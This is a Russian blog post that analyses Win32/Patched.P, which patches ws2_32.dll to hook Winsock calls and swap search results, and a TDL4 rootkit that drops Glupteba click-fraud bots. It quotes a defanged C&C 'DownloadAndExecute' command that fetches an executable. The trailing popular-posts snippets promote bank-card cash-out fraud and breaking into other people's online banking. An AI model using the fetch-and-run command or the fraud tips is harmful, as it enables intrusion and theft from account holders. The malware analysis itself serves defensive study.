Skip to main content

Black Hat SEO или бот для скликивания контекстной рекламы

На днях мне стало интересно, а каким образом с точки зрения «черных» методов SEO могут быть использованы хакерские программы – например, путем генерации трафика для заинтересованных ресурсов или скликивания контекстной рекламы AdWords или Яндекс.Директ 
подмена поисковой выдачи

Понятно, что увеличение числа посетителей на сайте интернет-магазина или компании, занимающейся недвижимостью, вероятнее всего положительно скажется на их доходах. Поэтому разработка подобного типа программ — вполне себе обыденное дело, и появились такие программы уже давно. По большей части таких ботов можно разделить на два класса — это различного рода Adware, которое распространяется вместе с популярными программами, или трояны, которые осуществляют более серьезную модификацию системы. 

Win32/Patched.P

Давай для начала рассмотрим достаточно экзотический, но от этого не менее интересный способ подмены результатов поиска в популярных поисковых сервисах Яндекс и Google, который был реализован в троянской программе Win32/Patched.P (ESET). В первый раз я столкнулся с этой вредоносной программой осенью 2008 года, и она привлекла меня тем, что используемый ей алгоритм подмены был хорошо продуманным и более сложным для обнаружения, чем у «конкурентов».
Win32/Patched.P вносила всего лишь одно изменение в систему: она модифицировала системную библиотеку ws2_32.dll, которая отвечает за реализацию сетевых функций прикладного уровня (например, таких как сокеты) в операционных системах MS Windows. Полезная нагрузка представляла собой кусок ассемблерного кода, который дроппер вставляет в конец оригинальной ws2_32.dll, модифицируя также точку входа, таблицу экспортов, релокации и склеивая все секции в одну для упрощения жизни при вышеописанных модификациях.
На рисунке 2 представлены интернет-сервисы, к которым этот троянец проявлял особенный интерес путем осуществления перехвата часто используемых для реализации сетевого взаимодействия системных функций, таких как:
int WSASend(
__in SOCKET s,
__in LPWSABUF lpBuffers,
__in DWORD dwBufferCount,
__out LPDWORD lpNumberOfBytesSent,
__in DWORD dwFlags,
__in LPWSAOVERLAPPED lpOverlapped,
__in LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);
int WSARecv(
__in SOCKET s,
__inout LPWSABUF lpBuffers,
__in DWORD dwBufferCount,
__out LPDWORD lpNumberOfBytesRecvd,
__inout LPDWORD lpFlags,
__in LPWSAOVERLAPPED lpOverlapped,
__in LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);
int send(
__in SOCKET s,
__in const char *buf,
__in int len,
__in int fl ags
);
int recv(
__in SOCKET s,
__out char *buf,
__in int len,
__in int fl ags
);
int select(
__in int nfds,
__inout fd_set *readfds,
__inout fd_set *writefds,
__inout fd_set *exceptfds,
__in const struct timeval *timeout
);
Перехватывая и контролируя указанные функции Winsock на этом уровне, можно осуществлять подмену любых GET/POST запросов независимо от разработчика браузера или его версии. Да и заметить сходу такую подмену сможет далеко не каждый системный администратор, не говоря уже о большинстве пользователей. На уровне модифицированного кода, на примере функции WSARecv(), это выглядит так.
Конечно же, весь функционал не ограничивается только подменой результатов поиска. Есть интересные экземпляры ботов, которые осуществляют скликивание рекламы и накрутку контекстных объявлений.

Сэмпл TDL4 — Win32/Olmarik.AOV

Вот, к примеру, не так давно нами была замечена интересная особенность в некоторых новых экземплярах руткита TDL4 — Win32/ Olmarik.AOV, о котором я достаточно подробно написал в своей предыдущей статье в январе 2011 года. Но, если кто не в курсе, данному руткиту удается удерживать звание самой технологичной массовой вредоносной программы на протяжении вот уже нескольких лет.
Это первый полноценный руткит для x64, которому удалось в обход проверки цифровой подписи и PatchGuard пробраться в ядро на 64-битных системах. Но давай вернемся к тому, из-за чего собственно пошел разговор об этом рутките. А дело в том, что после своей собственной успешной установки некоторые экземпляры этого руткита устанавливают в систему еще и троянцев из семейства Win32/Glupteba (ESET). Это наводит на мысли о том, что ресурсы ботнета начали сдавать в аренду. Также интересен тот факт, что дальнейшего взаимодействия между ботами Win32/Glupteba и TDL4 нет.
Итак, сразу после установки и идентификации бот TDL4 получает из С&C команду:
task_id = 2|10||hxxp://wheelcars.ru/no.exe
Интерпретировать которую можно следующим образом:
task_id = [command_id] [encryption_key] [URL]
В нашем случае набор параметров совпадает с командой «DownloadAndExecute», поскольку ключ шифрования равен нулю, а идентификатор команды равен двум, и затем следует количество попыток ее выполнения, равное десяти. После установки в систему Win32/Glupteba получает задание уже из своего C&C и начинает его выполнение.
Чаще всего бот получает два типа заданий — скликивание контекстной рекламы из рекламной сети «Бегун» и рассылку спама. Давай поподробнее рассмотрим, что же делает этот бот.
В первом случае происходит посещение большого количества сформированных специальным образом веб-страниц, наполнение которых провоцирует появление определенного типа контекстных объявлений. Причем все веб-страницы, с которых происходит скликивание, расположены на серверах провайдера Masterhost. Если посмотреть на статистику сетевых обращений скликивающего бота, то можно заметить большое количество обращений к серверам компании «Бегун». Интерес со стороны Win32/Glupteba к другим сервисам контекстной рекламы замечен не был — возможно, это объясняется тем, что сам алгоритм скликивания контекстной рекламы реализован достаточно примитивно. А в крупных системах, таких как Яндекс.
алгоритм скликивания контекстной рекламы

Яндекс.Директ или Google AdWords, реализованы серьезные механизмы защиты от подобного рода мошенничества, которые сильно портят жизнь желающим быстрой наживы за счет вышеописанных способов нечестного продвижения.
Сам же ботнет TDL4 так же, как и его предшественник предыдущей версии, активно монетизируется через «черные» методы продвижения веб-сайтов и подмену результатов поиска в популярных поисковых системах. Только он реализует гораздо более серьезные методы, используя способ скрытого запуска браузера Microsoft Internet Explorer через вызов ActiveX-компонента WebBrowser и эмуляции работы пользователя (при посещении веб-страницы меняется положение курсора). Кроме того, в нем реализован обход прочих превентивных методов обнаружения ботов.

Comments

Popular posts from this blog

Сбербанк и дропы с площадки Dark Money, и кто кого?

Крупных открытых площадок в даркнете, специализирующихся именно на покупке-продаже российских банковских данных, обнале и скаме около десятка, самая большая из них – это Dark Money . Здесь есть нальщики, дропы, заливщики, связанный с ними бизнес, здесь льют и налят миллионы, здесь очень много денег, но тебе не стоит пока во все это суваться. Кинуть тут может любой, тут кидали и на десятки миллионов и на десятки рублей. Кидали новички и кидали проверенные люди, закономерности нету. Горячие темы – продажи данных, банковских карт, поиск сотрудников в скам и вербовка сотрудников банков и сотовых операторов, взлом аккаунтов, обнал и советы – какими платежными системы пользоваться, как не попасться милиции при обнале, сколько платить Правому Сектору или патрулю, если попались. Одна из тем – онлайн-интервью с неким сотрудником Сбербанка, который время от времени отвечает на вопросы пользователей площадки об уязвимостях системы банка и дает советы, как улучшить обнальные схемы. Чтобы пользова

Где искать залив на банковский счет или карту?

Есть несколько способов сделать банковский перевод на карту или счет или иначе на слэнге дроповодов это называется "сделать залив на карту " для начала работы вам понадобиться зайти в чей-то чужой уже существующий кабинет интернет-банка, причем не важно какого, банк может быть любым, главное чтобы на счету " холдера " были хоть какие-то деньги для того, чтобы зайти в интернет банк вам понадобится узнать логин и пароль, смотрим видео о том, как их получить для того, чтобы зайти в чужой интернет-банк: хотя конечно, скажу тебе честно, только ты не обижайся, сейчас все нормальные сделки по обналу делают краснопёрые, сидящие в банках, всякие там внедрённые агенты ФСО, Mi6 или CIA, а льют сотрудники крупных телекомов или штатные работники NSA и GCHQ, а всё остальное - это просто лоховство или чистой воды развод на бабло в виде предоплаты

Как работает банк со своими корреспондентами по SWIFT

Итак, наш банк имеет открытые корреспондентские счета в США (CITIBANK N.A. NEW YORK), в Европе (VTB BANK DEUTSCHLAND AG), в России (Промсвязьбанк Москва и Собинбанк Москва). Соответственно, все расследования по платежам происходят через эти банки согласно  установленным корреспондентским отношениям с использованием соответствующих форматов SWIFT MT-195/295, MT-196/296, MT-199/299 и MT-192/292 Кроме прямых корреспондентских отношений с банками, нашим банком установлены отношения и с другими финансовыми организациями через процедуру обмена ключами, что даёт возможность использовать SWIFT-форматы МТ-195, МТ-196 и МТ-199 для проведения процедуры расследования по стандартным платежам и платежам с покрытием: - DEUTSCHE BANK TRUST COMPANY AMERICAS USA - COMMERZBANK AG Germany - CITIBANK N.A. London - CITIBANK N.A. Brussels - BANQUE DE COMMERCE ET DE PLACEMENTS S.A. Geneva - NORVIK BANKA JSC  LV - ABLV BANK AS  LV В среднем процедура расследования занимает от 3 до 14 дней (е

Как найти реального заливщика

Своего первого реального заливщика, который показал мне как можно скачать деньги в интернет с банковских счетов, я нашел случайно, когда еще трудился в Укртелекоме сменным инженером немного подрабатывая продавая трафик налево , но потом этот человек отошел от дел в связи со слишком уж скользкой ситуацией в данной сфере, и я решил поискать партнера на форумах, разместив рекламу на трёх электронных досках объявлений. Честно говоря поначалу даже был готов сразу закинуть 500 000 гривен в Гарант, но потом призадумался, а стоит ли? Ко мне начал обращаться народ обращается разных категорий 1. Дебильная школота, которая что-то любит повтирать про свою серьезность и просит закинуть 10 000 USD им на Вебмани в качестве аванса  2. Реальные мэны, которые  льют сразу большую сумму по SWIFT  без разговоров про гарантии и прочую шнягу, но после того, как им отдаёшь нал, они сразу пропадают, суть данных действий я так и не понял. зачем пропадать, если всё прошло гладко? 3. Мутные личност

DDOS атаки на маршрутизатор и методы защиты Juniper routing engine

По долгу службы мне часто приходится сталкиваться с DDOS на сервера, но некоторое время назад столкнулся с другой атакой, к которой был не готов. Атака производилась на маршрутизатор  Juniper MX80 поддерживающий BGP сессии и выполняющий анонс сетей дата-центра. Целью атакующих был веб-ресурс расположенный на одном из наших серверов, но в результате атаки, без связи с внешним миром остался весь дата-центр. Подробности атаки, а также тесты и методы борьбы с такими атаками под катом.  История атаки Исторически сложилось, что на маршрутизаторе блокируется весь UDP трафик летящий в нашу сеть. Первая волна атаки (в 17:22) была как раз UDP трафиком, график unicast пакетов с аплинка маршрутизатора: и график unicast пакетов с порта свича подключенного к роутеру: демонстрируют, что весь трафик осел на фильтре маршрутизатора. Поток unicast пакетов на аплинке маршрутизатора увеличился на 400 тысяч и атака только UDP пакетами продолжалась до 17:33. Далее атакующие изменили стратегию и добавили к

Google Pay просто так выплатил вознаграждение пользователям

Пользователи Google Pay массово сообщают , что Google перечислила на их счета от 10 до 1000 долларов США. Деньги поступили по программе Google Pay Reward в виде кешбэка, однако кешбэком не были. Такие поступления были ошибкой и сопровождались сообщением, что идет тестирование Google Pay Remittance , однако у тех, кто успел потратить полученные средства, их обещали не отбирать. Как писали и показывали на многочисленных скриншотах пользователи, переводы средств сопровождались сообщением: « dogfooding the Google Pay Remittance experience ». Дело в том, что термином « Dogfooding » обычно называют внутреннее бета-тестирование перед релизом каких-либо продуктов. То есть тестовые переводы должны были получить только сотрудники Google и, вероятно, некоторые партнеры компании. В настоящее время пользователям, получившим неожиданные переводы, уже прислали письма от команды Google Pay с подробным описанием «ошибки, которая привела к непреднамеренному зачислению средств на счет». Так как с